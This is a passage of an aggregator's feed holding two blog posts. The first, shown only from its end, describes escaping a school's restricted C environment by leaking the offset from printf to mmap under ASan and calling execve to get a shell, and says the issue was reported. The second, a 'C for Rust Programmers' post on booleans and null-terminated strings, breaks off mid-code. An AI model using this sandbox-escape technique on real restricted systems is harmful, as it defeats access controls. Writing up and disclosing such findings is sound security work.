notsyscall&lt;span class=&quot;syntax-punctuation syntax-accessor syntax-c&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-c&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-c&quot;&gt;notexecve&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-c&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-c&quot;&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-constant syntax-numeric syntax-c&quot;&gt;59&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-separator syntax-c&quot;&gt;,&lt;/span&gt; argv&lt;span class=&quot;syntax-meta syntax-brackets syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-brackets syntax-begin syntax-c&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;syntax-constant syntax-numeric syntax-c&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-brackets syntax-end syntax-c&quot;&gt;]&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-separator syntax-c&quot;&gt;,&lt;/span&gt; argv&lt;span class=&quot;syntax-punctuation syntax-separator syntax-c&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;syntax-constant syntax-language syntax-c&quot;&gt;NULL&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-c&quot;&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-c&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-terminator syntax-c&quot;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Running it on the target VM successfully prints &lt;code&gt;Hello, World!&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;You can find the finished proof-of-concept &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/mrnossiom/learning-asm/tree/802b8374e24bde9f699cc6c88520ed13e0a245fa/execve&quot;&gt;on GitHub&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;Because we know our code is compiled with &lt;code&gt;ASan&lt;/code&gt;, we chose to leak the offset between &lt;code&gt;printf&lt;/code&gt;, a function that is always allowed, and &lt;code&gt;mmap&lt;/code&gt;, a function that gives us arbitrary assembly code execution. We can thus bypass the school&#39;s checks and call any syscall, in our case &lt;code&gt;execve&lt;/code&gt; to get shell access.&lt;/p&gt;
&lt;p&gt;We did not investigate further and simply reported this possible issue to the school.&lt;/p&gt;
&lt;p&gt;I see no trivial way of patching this. As we&#39;ve seen &lt;em&gt;ASLR&lt;/em&gt; is not going to help here. One possible idea would be to relink the C standard library with a different order for each execution, randomizing the functions order each time (OpenBSD does that at boot time &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://isopenbsdsecu.re/mitigations/libc_symbols_randomization/&quot;&gt;here&lt;/a&gt;). But, you have to keep in mind that &lt;em&gt;ASan&lt;/em&gt; still replaces functions with its own (so it doesn&#39;t mitigate anything here).&lt;/p&gt;
&lt;p&gt;The exploit is not that complicated but it was fun to understand the whole process by ourselves. It&#39;s in these kind of moment that all the rabbit holes you followed finally click together and help you move forward. Also the simplicity of the exploit resides in the fact that we already have quite liberal remote code execution (as a feature). Still, it involves &lt;em&gt;ASLR&lt;/em&gt; bypass and requires a fair amount of understanding of what is going on.&lt;/p&gt;
&lt;p&gt;Discuss this article on &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://lobste.rs/s/ucwapn/calling_function_c_without_naming_it&quot;&gt;Lobsters&lt;/a&gt;, &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://news.ycombinator.com/item?id=50005719&quot;&gt;Hacker News&lt;/a&gt; or &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.reddit.com/r/cprogramming/comments/1x1itzo/calling_a_function_in_c_without_naming_it/&quot;&gt;Reddit&lt;/a&gt;.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;1&lt;/p&gt;
&lt;p&gt;You can &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.youtube.com/watch?v=kc5P3ep3ViQ&quot;&gt;watch a talk&lt;/a&gt; about it (in French) from the research lab of the school.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <id>urn:aggr:item:ddde640d64bfcdafde9cf3b1e58dd0513c3adcd4</id>
    <title type="text">C for Rust Programmers</title>
    <link rel="alternate" type="text/html" href="https://aggr.aymericbeaumet.com/items/lobste-rs/2026-10-07-c-for-rust-programmers/"/>
    <link rel="via" type="text/html" href="https://bd103.dev/blog/2026-10-07-c-for-rust-programmers/"/>
    <published>2026-10-07T14:30:05+00:00</published>
    <updated>2026-10-07T14:30:05+00:00</updated>
    <author>
      <name>bd103.dev by BD103</name>
    </author>
    <category term="news"/>
    <category term="c"/>
    <category term="rust"/>
    <source>
      <title>Lobsters: Top Stories of the Past Week</title>
    </source>
    <summary type="text">Comments</summary>
    <content type="html">&lt;p&gt;The very first systems programming language I ever learned was Rust. This is uncommon compared to many other programmers; you&#39;re more likely to find someone who learned C or C++ first before coming to Rust. As such, there are plenty of &amp;quot;Rust for C Programmers&amp;quot; articles on the internet, but little to no &amp;quot;C for Rust Programmers&amp;quot; articles out there.&lt;/p&gt;
&lt;p&gt;Well, I&#39;m about to change that! I&#39;ve been learning C and C++ recently, and &lt;em&gt;holy cow those languages are quirky&lt;/em&gt;. This blog post is a collection of eyebrow-raising details I learned while teaching myself C. (No C++ today, I&#39;m not ready to dig into that can of worms.) This is not a substitute for a proper C tutorial, you&#39;ll need to Google one of those yourself. Rather, it&#39;s a list of things to keep in mind when working in the language.&lt;/p&gt;
&lt;p&gt;With the premise set, let&#39;s draw the curtain and see what C has to offer!&lt;/p&gt;
&lt;h2&gt;Boolean Is Not* Built-In&lt;/h2&gt;
&lt;p&gt;The original version of C did not have a primitive type for booleans, programs instead used the integers 0 and 1. This was changed in &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://en.wikipedia.org/wiki/C99&quot;&gt;C99&lt;/a&gt;, which added booleans in the optional &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://en.cppreference.com/c/header/stdbool&quot;&gt;&lt;code&gt;&amp;lt;stdbool.h&amp;gt;&lt;/code&gt;&lt;/a&gt; header &lt;sup class=&quot;citation-ref&quot;&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://bd103.dev/blog/2026-10-07-c-for-rust-programmers/#fn-_bool&quot;&gt;[1]&lt;/a&gt;&lt;/sup&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;&lt;span class=&quot;code-snippet&quot; data-language=&quot;C&quot;&gt;&lt;span class=&quot;syntax-source syntax-c&quot;&gt;&lt;span class=&quot;syntax-meta syntax-preprocessor syntax-include syntax-c&quot;&gt;&lt;span class=&quot;syntax-keyword syntax-control syntax-import syntax-include syntax-c&quot;&gt;#include&lt;/span&gt; &lt;span class=&quot;syntax-string syntax-quoted syntax-other syntax-lt-gt syntax-include syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-begin syntax-c&quot;&gt;&amp;lt;&lt;/span&gt;stdbool.h&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-end syntax-c&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;/span&gt;
&lt;span class=&quot;syntax-storage syntax-type syntax-c&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-function syntax-c&quot;&gt;&lt;span class=&quot;syntax-entity syntax-name syntax-function syntax-c&quot;&gt;main&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-parameters syntax-c&quot;&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-c&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-parameters syntax-c&quot;&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-c&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-c&quot;&gt; &lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-c&quot;&gt;&lt;span class=&quot;syntax-meta syntax-block syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-begin syntax-c&quot;&gt;{&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-c&quot;&gt;&lt;span class=&quot;syntax-meta syntax-block syntax-c&quot;&gt;
    &lt;span class=&quot;syntax-storage syntax-type syntax-c&quot;&gt;bool&lt;/span&gt; yes &lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-c&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;syntax-constant syntax-language syntax-c&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-terminator syntax-c&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;syntax-storage syntax-type syntax-c&quot;&gt;bool&lt;/span&gt; no &lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-c&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;syntax-constant syntax-language syntax-c&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-terminator syntax-c&quot;&gt;;&lt;/span&gt;

    &lt;span class=&quot;syntax-keyword syntax-control syntax-c&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;syntax-constant syntax-numeric syntax-c&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-terminator syntax-c&quot;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-c&quot;&gt;&lt;span class=&quot;syntax-meta syntax-block syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-end syntax-c&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Even still, &lt;code&gt;true&lt;/code&gt; and &lt;code&gt;false&lt;/code&gt; are not literals or keywords like in other languages. Instead, they are definitions that expand to 1 and 0:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;&lt;span class=&quot;code-snippet&quot; data-language=&quot;C&quot;&gt;&lt;span class=&quot;syntax-source syntax-c&quot;&gt;&lt;span class=&quot;syntax-meta syntax-preprocessor syntax-macro syntax-c&quot;&gt;&lt;span class=&quot;syntax-keyword syntax-control syntax-import syntax-define syntax-c&quot;&gt;#define&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-preprocessor syntax-macro syntax-c&quot;&gt; &lt;span class=&quot;syntax-entity syntax-name syntax-constant syntax-preprocessor syntax-c&quot;&gt;true&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-preprocessor syntax-macro syntax-c&quot;&gt; &lt;span class=&quot;syntax-constant syntax-numeric syntax-c&quot;&gt;1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;syntax-meta syntax-preprocessor syntax-macro syntax-c&quot;&gt;&lt;span class=&quot;syntax-keyword syntax-control syntax-import syntax-define syntax-c&quot;&gt;#define&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-preprocessor syntax-macro syntax-c&quot;&gt; &lt;span class=&quot;syntax-entity syntax-name syntax-constant syntax-preprocessor syntax-c&quot;&gt;false&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-preprocessor syntax-macro syntax-c&quot;&gt; &lt;span class=&quot;syntax-constant syntax-numeric syntax-c&quot;&gt;0&lt;/span&gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This was changed again in &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://en.wikipedia.org/wiki/C23_(C_standard_revision)&quot;&gt;C23&lt;/a&gt;&lt;sup class=&quot;citation-ref&quot;&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://bd103.dev/blog/2026-10-07-c-for-rust-programmers/#fn-c23&quot;&gt;[2]&lt;/a&gt;&lt;/sup&gt;, so now booleans are true language primitives, but if you&#39;re compiling for earlier versions you&#39;ll need to include &lt;code&gt;&amp;lt;stdbool.h&amp;gt;&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Null-Terminated Strings&lt;/h2&gt;
&lt;p&gt;A Rust &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://doc.rust-lang.org/stable/std/primitive.str.html&quot;&gt;&lt;code&gt;&amp;amp;str&lt;/code&gt;&lt;/a&gt; is 16 bytes: 8 bytes for the memory address and 8 bytes for the string length. This is because &lt;code&gt;str&lt;/code&gt; is a dynamically sized type, and uses &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://bd103.dev/blog/2023-08-06-ptr-metadata/&quot;&gt;pointer metadata&lt;/a&gt; to track the length of the string.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-rust&quot;&gt;&lt;span class=&quot;code-snippet&quot; data-language=&quot;Rust&quot;&gt;&lt;span class=&quot;syntax-source syntax-rust&quot;&gt;&lt;span class=&quot;syntax-comment syntax-line syntax-double-slash syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-comment syntax-rust&quot;&gt;//&lt;/span&gt; While a normal reference uses only 8 bytes...
&lt;/span&gt;&lt;span class=&quot;syntax-support syntax-macro syntax-rust&quot;&gt;assert_eq!&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-rust&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-path syntax-rust&quot;&gt;std&lt;span class=&quot;syntax-punctuation syntax-accessor syntax-rust&quot;&gt;::&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-path syntax-rust&quot;&gt;mem&lt;span class=&quot;syntax-punctuation syntax-accessor syntax-rust&quot;&gt;::&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-path syntax-rust&quot;&gt;size_of&lt;span class=&quot;syntax-punctuation syntax-accessor syntax-rust&quot;&gt;::&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-generic syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-generic syntax-begin syntax-rust&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;syntax-keyword syntax-operator syntax-rust&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;syntax-storage syntax-type syntax-rust&quot;&gt;u8&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-generic syntax-end syntax-rust&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-rust&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-rust&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-separator syntax-rust&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;syntax-constant syntax-numeric syntax-integer syntax-decimal syntax-rust&quot;&gt;8&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-rust&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-terminator syntax-rust&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;syntax-comment syntax-line syntax-double-slash syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-comment syntax-rust&quot;&gt;//&lt;/span&gt; ...strings use 16 bytes.
&lt;/span&gt;&lt;span class=&quot;syntax-support syntax-macro syntax-rust&quot;&gt;assert_eq!&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-rust&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-path syntax-rust&quot;&gt;std&lt;span class=&quot;syntax-punctuation syntax-accessor syntax-rust&quot;&gt;::&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-path syntax-rust&quot;&gt;mem&lt;span class=&quot;syntax-punctuation syntax-accessor syntax-rust&quot;&gt;::&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-path syntax-rust&quot;&gt;size_of&lt;span class=&quot;syntax-punctuation syntax-accessor syntax-rust&quot;&gt;::&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-generic syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-generic syntax-begin syntax-rust&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;syntax-keyword syntax-operator syntax-rust&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;syntax-storage syntax-type syntax-rust&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-generic syntax-end syntax-rust&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-rust&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-rust&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-separator syntax-rust&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;syntax-constant syntax-numeric syntax-integer syntax-decimal syntax-rust&quot;&gt;16&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-rust&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-terminator syntax-rust&quot;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This approach makes fetching the string length extremely efficient, but requires more memory per &lt;code&gt;&amp;amp;str&lt;/code&gt; reference. C uses a different approach: it doesn&#39;t store the size of its strings separately, but instead terminates every single string with a null byte (&lt;code&gt;\0&lt;/code&gt;). This is an intentional trade off that results in a few things:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;C programs don&#39;t need to keep track of an extra &lt;code&gt;size&lt;/code&gt; variable alongside the string&lt;/li&gt;
&lt;li&gt;Every single string needs room at the end for a null byte
&lt;ul&gt;
&lt;li&gt;This means empty strings &lt;code&gt;&amp;quot;&amp;quot;&lt;/code&gt; still take up one byte of memory!&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Null bytes cannot easily be used in the middle of a string without messing up &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://cppreference.com/c/header/string&quot;&gt;&lt;code&gt;&amp;lt;string.h&amp;gt;&lt;/code&gt;&lt;/a&gt;&#39;s functions&lt;/li&gt;
&lt;li&gt;Forgetting the null terminator can result in out-of-bound reads&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;In practice, this requires you to remember to allocate extra space for the null terminator and insert it at the end of strings. For example, here is a program that reverses a string in C:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;&lt;span class=&quot;code-snippet&quot; data-language=&quot;C&quot;&gt;&lt;span class=&quot;syntax-source syntax-c&quot;&gt; 1char&lt;span class=&quot;syntax-keyword syntax-operator syntax-c&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-function syntax-c&quot;&gt;&lt;span class=&quot;syntax-entity syntax-name syntax-function syntax-c&quot;&gt;reverse&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-parameters syntax-c&quot;&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-c&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-parameters syntax-c&quot;&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-storage syntax-type syntax-c&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;syntax-keyword syntax-operator syntax-c&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;syntax-variable syntax-parameter syntax-c&quot;&gt;forward&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-c&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-c&quot;&gt; &lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-c&quot;&gt;&lt;span class=&quot;syntax-meta syntax-block syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-begin syntax-c&quot;&gt;{&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-c&quot;&gt;&lt;span class=&quot;syntax-meta syntax-block syntax-c&quot;&gt;
 &lt;span class=&quot;syntax-constant syntax-numeric syntax-c&quot;&gt;2&lt;/span&gt;    &lt;span class=&quot;syntax-comment syntax-line syntax-double-slash syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-comment syntax-c&quot;&gt;//&lt;/span&gt; Calculate the string&amp;#39;s length, excluding the null terminator.
&lt;/span&gt; &lt;span class=&quot;syntax-constant syntax-numeric syntax-c&quot;&gt;3&lt;/span&gt;    &lt;span class=&quot;syntax-storage syntax-type syntax-c&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;syntax-storage syntax-type syntax-c&quot;&gt;long&lt;/span&gt; len &lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-c&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-function-call syntax-c&quot;&gt;&lt;span class=&quot;syntax-support syntax-function syntax-C99 syntax-c&quot;&gt;strlen&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-c&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-c&quot;&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;forward&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-c&quot;&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-c&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-terminator syntax-c&quot;&gt;;&lt;/span&gt;
 &lt;span class=&quot;syntax-constant syntax-numeric syntax-c&quot;&gt;4&lt;/span&gt;    &lt;span class=&quot;syntax-comment syntax-line syntax-double-slash syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-comment syntax-c&quot;&gt;//&lt;/span&gt; Allocate enough room for the string and its null terminator.
&lt;/span&gt; &lt;span class=&quot;syntax-constant syntax-numeric syntax-c&quot;&gt;5&lt;/span&gt;    &lt;span class=&quot;syntax-storage syntax-type syntax-c&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;syntax-keyword syntax-operator syntax-c&quot;&gt;*&lt;/span&gt; reversed &lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-c&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-function-call syntax-c&quot;&gt;&lt;span class=&quot;syntax-support syntax-function syntax-C99 syntax-c&quot;&gt;malloc&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-c&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-c&quot;&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;len &lt;span class=&quot;syntax-keyword syntax-operator syntax-arithmetic syntax-c&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;syntax-constant syntax-numeric syntax-c&quot;&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-c&quot;&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-c&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-terminator syntax-c&quot;&gt;;&lt;/span&gt;
 &lt;span class=&quot;syntax-constant syntax-numeric syntax-c&quot;&gt;6&lt;/span&gt;
 &lt;span class=&quot;syntax-constant syntax-numeric syntax-c&quot;&gt;7&lt;/span&gt;    &lt;span class=&quot;syntax-keyword syntax-control syntax-c&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-group syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-c&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;syntax-storage syntax-type syntax-c&quot;&gt;int&lt;/span&gt; i &lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-c&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;syntax-constant syntax-numeric syntax-c&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-terminator syntax-c&quot;&gt;;&lt;/span&gt; i &lt;span class=&quot;syntax-keyword syntax-operator syntax-comparison syntax-c&quot;&gt;&amp;lt;&lt;/span&gt; len&lt;span class=&quot;syntax-punctuation syntax-terminator syntax-c&quot;&gt;;&lt;/span&gt; i&lt;span class=&quot;syntax-keyword syntax-operator syntax-arithmetic syntax-c&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;syntax-keyword syntax-operator syntax-arithmetic syntax-c&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-c&quot;&gt;)&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-block syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-begin syntax-c&quot;&gt;{&lt;/span&gt;
 &lt;span class=&quot;syntax-constant syntax-numeric syntax-c&quot;&gt;8&lt;/span&gt;        reversed&lt;span class=&quot;syntax-meta syntax-brackets syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-brackets syntax-begin syntax-c&quot;&gt;[&lt;/span&gt;i&lt;span class=&quot;syntax-punctuation syntax-section syntax-brackets syntax-end syntax-c&quot;&gt;]&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-c&quot;&gt;=&lt;/span&gt; forward&lt;span class=&quot;syntax-meta syntax-brackets syntax-c&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-brackets syntax-begin syntax-c&quot;&gt;[&lt;/span&gt;len &lt;span class=&quot;syntax-keyword syntax-operator syntax-arithmetic syntax-c&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;syntax-constant syntax-numeric syntax-c&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;syntax-keyword syntax-operator syntax-arithmetic syntax-c&quot;&gt;-&lt;/span&gt; i&lt;span class=&quot;syntax-punctuation syntax-section syntax-brackets syntax-end syntax-c&quot;&gt;]&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-terminator syntax-c&quot;&gt;;&lt;/span&gt;
